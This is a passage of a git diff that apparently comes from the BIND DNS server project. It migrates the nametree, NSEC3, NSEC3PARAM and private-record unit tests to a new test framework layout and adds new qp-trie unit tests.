+	assert_false(dns_nametree_covered(bitstree, name, NULL, 1));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 2));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 3));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 9));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 53));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 288));
+
+	/* check nonexistent domain is all false */
+	dns_test_namefromstring("anyname.", &fn);
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 0));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 1));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 2));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 3));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 9));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 53));
+	assert_false(dns_nametree_covered(bitstree, name, NULL, 288));
+}
+
+ISC_RUN_TEST_IMPL(delete) {
+	dns_fixedname_t fn;
+	dns_name_t *name = dns_fixedname_name(&fn);
+
+	/* name doesn't match */
+	dns_test_namefromstring("example.org.", &fn);
+	assert_int_equal(dns_nametree_delete(booltree, name), ISC_R_NOTFOUND);
+
+	/* subdomain match is the same as no match */
+	dns_test_namefromstring("sub.example.org.", &fn);
+	assert_int_equal(dns_nametree_delete(booltree, name), ISC_R_NOTFOUND);
+
+	/*
+	 * delete requires exact match: this should return SUCCESS on
+	 * the first try, then NOTFOUND on the second even though an
+	 * ancestor does exist.
+	 */
+	dns_test_namefromstring("negative.example.com.", &fn);
+	assert_int_equal(dns_nametree_delete(booltree, name), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_delete(booltree, name), ISC_R_NOTFOUND);
+
+	dns_test_namefromstring("negative.example.org.", &fn);
+	assert_int_equal(dns_nametree_delete(booltree, name), ISC_R_SUCCESS);
+	assert_int_equal(dns_nametree_delete(booltree, name), ISC_R_NOTFOUND);
+}
+
+ISC_RUN_TEST_IMPL(find) {
+	dns_ntnode_t *node = NULL;
+	dns_fixedname_t fn;
+	dns_name_t *name = dns_fixedname_name(&fn);
+
+	/*
+	 * dns_nametree_find() requires exact name match.  It matches node
+	 * that has a null key, too.
+	 */
+	dns_test_namefromstring("example.org.", &fn);
+	assert_int_equal(dns_nametree_find(booltree, name, &node),
+			 ISC_R_NOTFOUND);
+	dns_test_namefromstring("sub.example.com.", &fn);
+	assert_int_equal(dns_nametree_find(booltree, name, &node),
+			 ISC_R_NOTFOUND);
+	dns_test_namefromstring("example.com.", &fn);
+	assert_int_equal(dns_nametree_find(booltree, name, &node),
+			 ISC_R_SUCCESS);
+	dns_ntnode_detach(&node);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(add_bool, setup, teardown)
+ISC_TEST_ENTRY_CUSTOM(add_bits, setup, teardown)
+ISC_TEST_ENTRY_CUSTOM(add_count, setup, teardown)
+ISC_TEST_ENTRY_CUSTOM(covered_bool, setup, teardown)
+ISC_TEST_ENTRY_CUSTOM(covered_bits, setup, teardown)
+ISC_TEST_ENTRY_CUSTOM(delete, setup, teardown)
+ISC_TEST_ENTRY_CUSTOM(find, setup, teardown)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/nsec3_test.c b/tests/dns/nsec3_test.c
similarity index 77%
rename from lib/dns/tests/nsec3_test.c
rename to tests/dns/nsec3_test.c
index a9868dd843..c2fcacd994 100644
--- a/lib/dns/tests/nsec3_test.c
+++ b/tests/dns/nsec3_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -28,28 +29,7 @@
 #include <dns/db.h>
 #include <dns/nsec3.h>
 
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
+#include <tests/dns.h>
 
 static void
 iteration_test(const char *file, unsigned int expected) {
@@ -132,20 +112,18 @@ nsec3param_salttotext_test(const nsec3param_salttotext_test_params_t *params) {
  * check that appropriate max iterations is returned for different
  * key size mixes
  */
-static void
-max_iterations(void **state) {
+ISC_RUN_TEST_IMPL(max_iterations) {
 	UNUSED(state);
 
-	iteration_test("testdata/nsec3/1024.db", 150);
-	iteration_test("testdata/nsec3/2048.db", 150);
-	iteration_test("testdata/nsec3/4096.db", 150);
-	iteration_test("testdata/nsec3/min-1024.db", 150);
-	iteration_test("testdata/nsec3/min-2048.db", 150);
+	iteration_test(TESTS_DIR "/testdata/nsec3/1024.db", 150);
+	iteration_test(TESTS_DIR "/testdata/nsec3/2048.db", 150);
+	iteration_test(TESTS_DIR "/testdata/nsec3/4096.db", 150);
+	iteration_test(TESTS_DIR "/testdata/nsec3/min-1024.db", 150);
+	iteration_test(TESTS_DIR "/testdata/nsec3/min-2048.db", 150);
 }
 
 /* check dns_nsec3param_salttotext() */
-static void
-nsec3param_salttotext(void **state) {
+ISC_RUN_TEST_IMPL(nsec3param_salttotext) {
 	size_t i;
 
 	const nsec3param_salttotext_test_params_t tests[] = {
@@ -169,26 +147,9 @@ nsec3param_salttotext(void **state) {
 	}
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(max_iterations, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(nsec3param_salttotext, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(max_iterations)
+ISC_TEST_ENTRY(nsec3param_salttotext)
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/nsec3param_test.c b/tests/dns/nsec3param_test.c
similarity index 88%
rename from lib/dns/tests/nsec3param_test.c
rename to tests/dns/nsec3param_test.c
index 65206bed7a..b0282d7e07 100644
--- a/lib/dns/tests/nsec3param_test.c
+++ b/tests/dns/nsec3param_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -23,15 +24,16 @@
 #include <cmocka.h>
 
 #include <isc/hex.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/db.h>
 #include <dns/nsec3.h>
-#include <dns/result.h>
 
-#include "../zone_p.h"
-#include "dnstest.h"
+#include "zone_p.h"
+
+#include <tests/dns.h>
 
 #define HASH	1
 #define FLAGS	0
@@ -39,27 +41,6 @@
 #define SALTLEN 4
 #define SALT	"FEDCBA98"
 
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
 /*%
  * Structures containing parameters for nsec3param_salttotext_test().
  */
@@ -98,7 +79,7 @@ copy_params(nsec3param_rdata_test_params_t from, dns_rdata_nsec3param_t *to,
 	if (from.salt == NULL) {
 		to->salt = NULL;
 	} else if (strcmp(from.salt, "-") == 0) {
-		DE_CONST("-", to->salt);
+		to->salt = (unsigned char *)"-";
 	} else {
 		decode_salt(from.salt, saltbuf, saltlen);
 		to->salt = saltbuf;
@@ -136,9 +117,9 @@ nsec3param_change_test(const nsec3param_change_test_params_t *test) {
 	result = dns_test_makezone("nsec3", &zone, NULL, false);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
-	result = dns_zone_setfile(zone, "testdata/nsec3param/nsec3.db.signed",
-				  dns_masterformat_text,
-				  &dns_master_style_default);
+	result = dns_zone_setfile(
+		zone, TESTS_DIR "/testdata/nsec3param/nsec3.db.signed",
+		dns_masterformat_text, &dns_master_style_default);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	result = dns_zone_load(zone, false);
@@ -182,8 +163,7 @@ nsec3param_change_test(const nsec3param_change_test_params_t *test) {
 	dns_zone_detach(&zone);
 }
 
-static void
-nsec3param_change(void **state) {
+ISC_RUN_TEST_IMPL(nsec3param_change) {
 	size_t i;
 
 	/*
@@ -279,24 +259,8 @@ nsec3param_change(void **state) {
 	}
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(nsec3param_change, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(nsec3param_change)
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/private_test.c b/tests/dns/private_test.c
similarity index 83%
rename from lib/dns/tests/private_test.c
rename to tests/dns/private_test.c
index 47d7dd261c..9f3a87f947 100644
--- a/lib/dns/tests/private_test.c
+++ b/tests/dns/private_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,6 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
 #include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
@@ -33,27 +33,30 @@
 
 #include <dst/dst.h>
 
-#include "dnstest.h"
+#include <tests/dns.h>
 
 static dns_rdatatype_t privatetype = 65534;
 
 static int
-_setup(void **state) {
+setup_test(void **state) {
 	isc_result_t result;
 
 	UNUSED(state);
 
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dst_lib_init(mctx, NULL);
+
+	if (result != ISC_R_SUCCESS) {
+		return (1);
+	}
 
 	return (0);
 }
 
 static int
-_teardown(void **state) {
+teardown_test(void **state) {
 	UNUSED(state);
 
-	dns_test_end();
+	dst_lib_destroy();
 
 	return (0);
 }
@@ -85,14 +88,10 @@ make_signing(signing_testcase_t *testcase, dns_rdata_t *private,
 	buf[2] = (testcase->keyid & 0xff);
 	buf[3] = testcase->remove;
 	buf[4] = testcase->complete;
-      private
-	->data = buf;
-      private
-	->length = len;
-      private
-	->type = privatetype;
-      private
-	->rdclass = dns_rdataclass_in;
+	private->data = buf;
+	private->length = len;
+	private->type = privatetype;
+	private->rdclass = dns_rdataclass_in;
 }
 
 static void
@@ -145,8 +144,7 @@ make_nsec3(nsec3_testcase_t *testcase, dns_rdata_t *private,
 }
 
 /* convert private signing records to text */
-static void
-private_signing_totext_test(void **state) {
+ISC_RUN_TEST_IMPL(private_signing_totext) {
 	dns_rdata_t private;
 	int i;
 
@@ -178,8 +176,7 @@ private_signing_totext_test(void **state) {
 }
 
 /* convert private chain records to text */
-static void
-private_nsec3_totext_test(void **state) {
+ISC_RUN_TEST_IMPL(private_nsec3_totext) {
 	dns_rdata_t private;
 	int i;
 
@@ -213,26 +210,9 @@ private_nsec3_totext_test(void **state) {
 	}
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(private_signing_totext_test,
-						_setup, _teardown),
-		cmocka_unit_test_setup_teardown(private_nsec3_totext_test,
-						_setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(private_signing_totext, setup_test, teardown_test)
+ISC_TEST_ENTRY_CUSTOM(private_nsec3_totext, setup_test, teardown_test)
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/dns/qp_test.c b/tests/dns/qp_test.c
new file mode 100644
index 0000000000..fb95350f1f
--- /dev/null
+++ b/tests/dns/qp_test.c
@@ -0,0 +1,369 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/random.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/string.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/name.h>
+#include <dns/qp.h>
+
+#include "qp_p.h"
+
+#include <tests/dns.h>
+#include <tests/qp.h>
+
+ISC_RUN_TEST_IMPL(qpkey_name) {
+	struct {
+		const char *namestr;
+		uint8_t key[512];
+		size_t len;
+	} testcases[] = {
+		{
+			.namestr = ".",
+			.key = { 0x02, 0x02 },
+			.len = 1,
+		},
+		{
+			.namestr = "\\000",
+			.key = { 0x03, 0x03, 0x02, 0x02 },
+			.len = 3,
+		},
+		{
+			.namestr = "example.com.",
+			.key = { 0x02, 0x16, 0x22, 0x20, 0x02, 0x18, 0x2b, 0x14,
+				 0x20, 0x23, 0x1f, 0x18, 0x02, 0x02 },
+			.len = 13,
+		},
+		{
+			.namestr = "example.com",
+			.key = { 0x16, 0x22, 0x20, 0x02, 0x18, 0x2b, 0x14, 0x20,
+				 0x23, 0x1f, 0x18, 0x02, 0x02 },
+			.len = 12,
+		},
+		{
+			.namestr = "EXAMPLE.COM",
+			.key = { 0x16, 0x22, 0x20, 0x02, 0x18, 0x2b, 0x14, 0x20,
+				 0x23, 0x1f, 0x18, 0x02, 0x02 },
+			.len = 12,
+		},
+	};
+
+	for (size_t i = 0; i < ARRAY_SIZE(testcases); i++) {
+		size_t len;
+		dns_qpkey_t key;
+		dns_fixedname_t fn1, fn2;
+		dns_name_t *in = NULL, *out = NULL;
+
+		dns_test_namefromstring(testcases[i].namestr, &fn1);
+		in = dns_fixedname_name(&fn1);
+		len = dns_qpkey_fromname(key, in);
+
+		assert_int_equal(testcases[i].len, len);
+		assert_memory_equal(testcases[i].key, key, len);
+
+		out = dns_fixedname_initname(&fn2);
+		qp_test_keytoname(key, len, out);
+		assert_true(dns_name_equal(in, out));
+	}
+}
+
+ISC_RUN_TEST_IMPL(qpkey_sort) {
+	struct {
+		const char *namestr;
+		dns_name_t *name;
+		dns_fixedname_t fixed;
+		size_t len;
+		dns_qpkey_t key;
+	} testcases[] = {
+		{ .namestr = "." },
+		{ .namestr = "\\000." },
+		{ .namestr = "example.com." },
+		{ .namestr = "EXAMPLE.COM." },
+		{ .namestr = "www.example.com." },
+		{ .namestr = "exam.com." },
+		{ .namestr = "exams.com." },
+		{ .namestr = "exam\\000.com." },
+	};
+
+	for (size_t i = 0; i < ARRAY_SIZE(testcases); i++) {
+		dns_test_namefromstring(testcases[i].namestr,
+					&testcases[i].fixed);
+		testcases[i].name = dns_fixedname_name(&testcases[i].fixed);
+		testcases[i].len = dns_qpkey_fromname(testcases[i].key,
+						      testcases[i].name);
+	}
+
+	for (size_t i = 0; i < ARRAY_SIZE(testcases); i++) {
+		for (size_t j = 0; j < ARRAY_SIZE(testcases); j++) {
+			int namecmp = dns_name_compare(testcases[i].name,
+						       testcases[j].name);
+			size_t len = ISC_MIN(testcases[i].len,
+					     testcases[j].len);
+			/* include extra terminating NOBYTE */
+			int keycmp = memcmp(testcases[i].key, testcases[j].key,
+					    len + 1);
+			assert_true((namecmp < 0) == (keycmp < 0));
+			assert_true((namecmp == 0) == (keycmp == 0));
+			assert_true((namecmp > 0) == (keycmp > 0));
+		}
+	}
+}
+
+#define ITER_ITEMS 100
+
+static void
+check_leaf(void *uctx, void *pval, uint32_t ival) {
+	uint32_t *items = uctx;
+	assert_in_range(ival, 1, ITER_ITEMS - 1);
+	assert_ptr_equal(items + ival, pval);
+}
+
+static size_t
+qpiter_makekey(dns_qpkey_t key, void *uctx, void *pval, uint32_t ival) {
+	check_leaf(uctx, pval, ival);
+
+	char str[8];
+	snprintf(str, sizeof(str), "%03u", ival);
+
+	size_t i = 0;
+	while (str[i] != '\0') {
+		key[i] = str[i] - '0' + SHIFT_BITMAP;
+		i++;
+	}
+	key[i++] = SHIFT_NOBYTE;
+
+	return (i);
+}
+
+static void
+getname(void *uctx, char *buf, size_t size) {
+	strlcpy(buf, "test", size);
+	UNUSED(uctx);
+	UNUSED(size);
+}
+
+const dns_qpmethods_t qpiter_methods = {
+	check_leaf,
+	check_leaf,
+	qpiter_makekey,
+	getname,
+};
+
+ISC_RUN_TEST_IMPL(qpiter) {
+	dns_qp_t *qp = NULL;
+	uint32_t item[ITER_ITEMS] = { 0 };
+
+	dns_qp_create(mctx, &qpiter_methods, item, &qp);
+	for (size_t tests = 0; tests < 1234; tests++) {
+		uint32_t ival = isc_random_uniform(ITER_ITEMS - 1) + 1;
+		void *pval = &item[ival];
+		item[ival] = ival;
+
+		/* randomly insert or remove */
+		dns_qpkey_t key;
+		size_t len = qpiter_makekey(key, item, pval, ival);
+		if (dns_qp_insert(qp, pval, ival) == ISC_R_EXISTS) {
+			void *pvald = NULL;
+			uint32_t ivald = 0;
+			dns_qp_deletekey(qp, key, len, &pvald, &ivald);
+			assert_ptr_equal(pval, pvald);
+			assert_int_equal(ival, ivald);
+			item[ival] = 0;
+		}
+
+		/* check that we see only valid items in the correct order */
+		uint32_t prev = 0;
+		dns_qpiter_t qpi;
+		dns_qpiter_init(qp, &qpi);
+		while (dns_qpiter_next(&qpi, &pval, &ival) == ISC_R_SUCCESS) {
+			assert_in_range(ival, prev + 1, ITER_ITEMS - 1);
+			assert_int_equal(ival, item[ival]);
+			assert_ptr_equal(pval, &item[ival]);
+			item[ival] = ~ival;
+			prev = ival;
+		}
+
+		/* ensure we saw every item */
+		for (ival = 0; ival < ITER_ITEMS; ival++) {
+			if (item[ival] != 0) {
+				assert_int_equal(item[ival], ~ival);
+				item[ival] = ival;
+			}
+		}
+	}
+	dns_qp_destroy(&qp);
+}
+
+static void
+no_op(void *uctx, void *pval, uint32_t ival) {
+	UNUSED(uctx);
+	UNUSED(pval);
+	UNUSED(ival);
+}
+
+static size_t
+qpkey_fromstring(dns_qpkey_t key, void *uctx, void *pval, uint32_t ival) {
+	dns_fixedname_t fixed;
+
+	UNUSED(uctx);
+	UNUSED(ival);
+	if (*(char *)pval == '\0') {
+		return (0);
+	}
+	dns_test_namefromstring(pval, &fixed);
+	return (dns_qpkey_fromname(key, dns_fixedname_name(&fixed)));
+}
+
+const dns_qpmethods_t string_methods = {
+	no_op,
+	no_op,
+	qpkey_fromstring,
+	getname,
+};
+
+struct check_partialmatch {
+	const char *query;
+	dns_qpfind_t options;
+	isc_result_t result;
+	const char *found;
+};
+
+static void
+check_partialmatch(dns_qp_t *qp, struct check_partialmatch check[]) {
+	for (int i = 0; check[i].query != NULL; i++) {
+		isc_result_t result;
+		dns_fixedname_t fixed;
+		dns_name_t *name = dns_fixedname_name(&fixed);
+		void *pval = NULL;
+
+#if 0
+		fprintf(stderr, "%s %u %s %s\n", check[i].query,
+			check[i].options, isc_result_totext(check[i].result),
+			check[i].found);
+#endif
+		dns_test_namefromstring(check[i].query, &fixed);
+		result = dns_qp_findname_ancestor(qp, name, check[i].options,
+						  &pval, NULL);
+		assert_int_equal(result, check[i].result);
+		if (check[i].found == NULL) {
+			assert_null(pval);
+		} else {
+			assert_string_equal(pval, check[i].found);
+		}
+	}
+}
+
+static void
+insert_str(dns_qp_t *qp, const char *str) {
+	isc_result_t result;
+	uintptr_t pval = (uintptr_t)str;
+	INSIST((pval & 3) == 0);
+	result = dns_qp_insert(qp, (void *)pval, 0);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+ISC_RUN_TEST_IMPL(partialmatch) {
+	isc_result_t result;
+	dns_qp_t *qp = NULL;
+
+	dns_qp_create(mctx, &string_methods, NULL, &qp);
+
+	/*
+	 * Fixed size strings [16] should ensure leaf-compatible alignment.
+	 */
+	const char insert[][16] = {
+		"a.b.",	     "b.",	     "fo.bar.", "foo.bar.",
+		"fooo.bar.", "web.foo.bar.", ".",	"",
+	};
+
+	int i = 0;
+	while (insert[i][0] != '.') {
+		insert_str(qp, insert[i++]);
+	}
+
+	static struct check_partialmatch check1[] = {
+		{ "a.b.", 0, ISC_R_SUCCESS, "a.b." },
+		{ "a.b.", DNS_QPFIND_NOEXACT, DNS_R_PARTIALMATCH, "b." },
+		{ "b.c.", DNS_QPFIND_NOEXACT, ISC_R_NOTFOUND, NULL },
+		{ "bar.", 0, ISC_R_NOTFOUND, NULL },
+		{ "f.bar.", 0, ISC_R_NOTFOUND, NULL },
+		{ "foo.bar.", 0, ISC_R_SUCCESS, "foo.bar." },
+		{ "foo.bar.", DNS_QPFIND_NOEXACT, ISC_R_NOTFOUND, NULL },
+		{ "foooo.bar.", 0, ISC_R_NOTFOUND, NULL },
+		{ "w.foo.bar.", 0, DNS_R_PARTIALMATCH, "foo.bar." },
+		{ "www.foo.bar.", 0, DNS_R_PARTIALMATCH, "foo.bar." },
+		{ "web.foo.bar.", 0, ISC_R_SUCCESS, "web.foo.bar." },
+		{ "webby.foo.bar.", 0, DNS_R_PARTIALMATCH, "foo.bar." },
+		{ "my.web.foo.bar.", 0, DNS_R_PARTIALMATCH, "web.foo.bar." },
+		{ "web.foo.bar.", DNS_QPFIND_NOEXACT, DNS_R_PARTIALMATCH,
+		  "foo.bar." },
+		{ "my.web.foo.bar.", DNS_QPFIND_NOEXACT, DNS_R_PARTIALMATCH,
+		  "web.foo.bar." },
+		{ "my.other.foo.bar.", DNS_QPFIND_NOEXACT, DNS_R_PARTIALMATCH,
+		  "foo.bar." },
+		{ NULL, 0, 0, NULL },
+	};
+	check_partialmatch(qp, check1);
+
+	/* what if the trie contains the root? */
+	INSIST(insert[i][0] == '.');
+	insert_str(qp, insert[i++]);
+
+	static struct check_partialmatch check2[] = {
+		{ "b.c.", DNS_QPFIND_NOEXACT, DNS_R_PARTIALMATCH, "." },
+		{ "bar.", 0, DNS_R_PARTIALMATCH, "." },
+		{ "foo.bar.", 0, ISC_R_SUCCESS, "foo.bar." },
+		{ "foo.bar.", DNS_QPFIND_NOEXACT, DNS_R_PARTIALMATCH, "." },
+		{ NULL, 0, 0, NULL },
+	};
+	check_partialmatch(qp, check2);
+
+	/* what if entries in the trie are relative to the zone apex? */
+	dns_qpkey_t rootkey = { SHIFT_NOBYTE };
+	result = dns_qp_deletekey(qp, rootkey, 1, NULL, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	INSIST(insert[i][0] == '\0');
+	insert_str(qp, insert[i++]);
+	check_partialmatch(qp, (struct check_partialmatch[]){
+				       { "bar", 0, DNS_R_PARTIALMATCH, "" },
+				       { "bar.", 0, DNS_R_PARTIALMATCH, "" },
+				       { NULL, 0, 0, NULL },
+			       });
+
+	dns_qp_destroy(&qp);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(qpkey_name)
+ISC_TEST_ENTRY(qpkey_sort)
+ISC_TEST_ENTRY(qpiter)
+ISC_TEST_ENTRY(partialmatch)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/qpmulti_test.c b/tests/dns/qpmulti_test.c
new file mode 100644
index 0000000000..30ec498f56
--- /dev/null
+++ b/tests/dns/qpmulti_test.c
@@ -0,0 +1,401 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <assert.h>
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stdlib.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/assertions.h>
+#include <isc/log.h>
+#include <isc/loop.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/random.h>
+#include <isc/refcount.h>
+#include <isc/rwlock.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/log.h>
+#include <dns/qp.h>
+#include <dns/types.h>
+
+#include "qp_p.h"
+
+#include <tests/isc.h>
+#include <tests/qp.h>
+
+#define VERBOSE		  0
+#define ITEM_COUNT	  12345
+#define TRANSACTION_SIZE  123
+#define TRANSACTION_COUNT 1234
+
+#if VERBOSE
+#define TRACE(fmt, ...)                                                     \
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_QP, \
+		      ISC_LOG_DEBUG(7), "%s:%d:%s(): " fmt, __FILE__,       \
+		      __LINE__, __func__, ##__VA_ARGS__)
+#else
+#define TRACE(...)
+#endif
+
+#if VERBOSE
+#define ASSERT(p)                       \
+	if (!(p)) {                     \
+		TRACE("%s failed", #p); \
+		ok = false;             \
+	} else
+#else
+#define ASSERT(p) assert_true(p)
+#endif
+
+static void
+setup_logging(void) {
+	isc_result_t result;
+	isc_logdestination_t destination;
+	isc_logconfig_t *logconfig = NULL;
+
+	isc_log_create(mctx, &lctx, &logconfig);
+	isc_log_setcontext(lctx);
+	dns_log_init(lctx);
+	dns_log_setcontext(lctx);
+
+	destination.file.stream = stderr;
+	destination.file.name = NULL;
+	destination.file.versions = ISC_LOG_ROLLNEVER;
+	destination.file.maximum_size = 0;
+	isc_log_createchannel(logconfig, "stderr", ISC_LOG_TOFILEDESC,
+			      ISC_LOG_DYNAMIC, &destination,
+			      ISC_LOG_PRINTPREFIX | ISC_LOG_PRINTTIME |
+				      ISC_LOG_ISO8601);
+
+#if VERBOSE
+	isc_log_setdebuglevel(lctx, 7);
+#endif
+
+	result = isc_log_usechannel(logconfig, "stderr",
+				    ISC_LOGCATEGORY_DEFAULT, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+static struct {
+	uint32_t refcount;
+	bool in_ro;
+	bool in_rw;
+	uint8_t len;
+	dns_qpkey_t key;
+	dns_qpkey_t ascii;
+} item[ITEM_COUNT];
+
+static void
+item_attach(void *ctx, void *pval, uint32_t ival) {
+	INSIST(ctx == NULL);
+	INSIST(pval == &item[ival]);
+	item[ival].refcount++;
+}
+
+static void
+item_detach(void *ctx, void *pval, uint32_t ival) {
+	assert_null(ctx);
+	assert_ptr_equal(pval, &item[ival]);
+	assert_int_not_equal(item[ival].refcount, 0);
+	item[ival].refcount--;
+}
+
+static size_t
+item_makekey(dns_qpkey_t key, void *ctx, void *pval, uint32_t ival) {
+	INSIST(ctx == NULL);
+	uintptr_t ip = (uintptr_t)pval;
+	uintptr_t lo = (uintptr_t)item;
+	uintptr_t hi = sizeof(item) + lo;
+	if (!(ival < ARRAY_SIZE(item) && lo <= ip && ip < hi &&
+	      pval == &item[ival]))
+	{
+		ISC_INSIST(ival < ARRAY_SIZE(item));
+		ISC_INSIST(pval != NULL);
+		ISC_INSIST(ip >= lo);
+		ISC_INSIST(ip < hi);
+		ISC_INSIST(pval == &item[ival]);
+	}
+	memmove(key, item[ival].key, item[ival].len);
+	return (item[ival].len);
+}
+
+static void
+testname(void *ctx, char *buf, size_t size) {
+	REQUIRE(ctx == NULL);
+	strlcpy(buf, "test", size);
+}
+
+const dns_qpmethods_t test_methods = {
+	item_attach,
+	item_detach,
+	item_makekey,
+	testname,
+};
+
+static uint8_t
+random_byte(void) {
+	return (isc_random_uniform(SHIFT_OFFSET - SHIFT_NOBYTE) + SHIFT_NOBYTE);
+}
+
+static void
+setup_items(void) {
+	void *pval = NULL;
+	dns_qp_t *qp = NULL;
+	dns_qp_create(mctx, &test_methods, NULL, &qp);
+	for (size_t i = 0; i < ARRAY_SIZE(item); i++) {
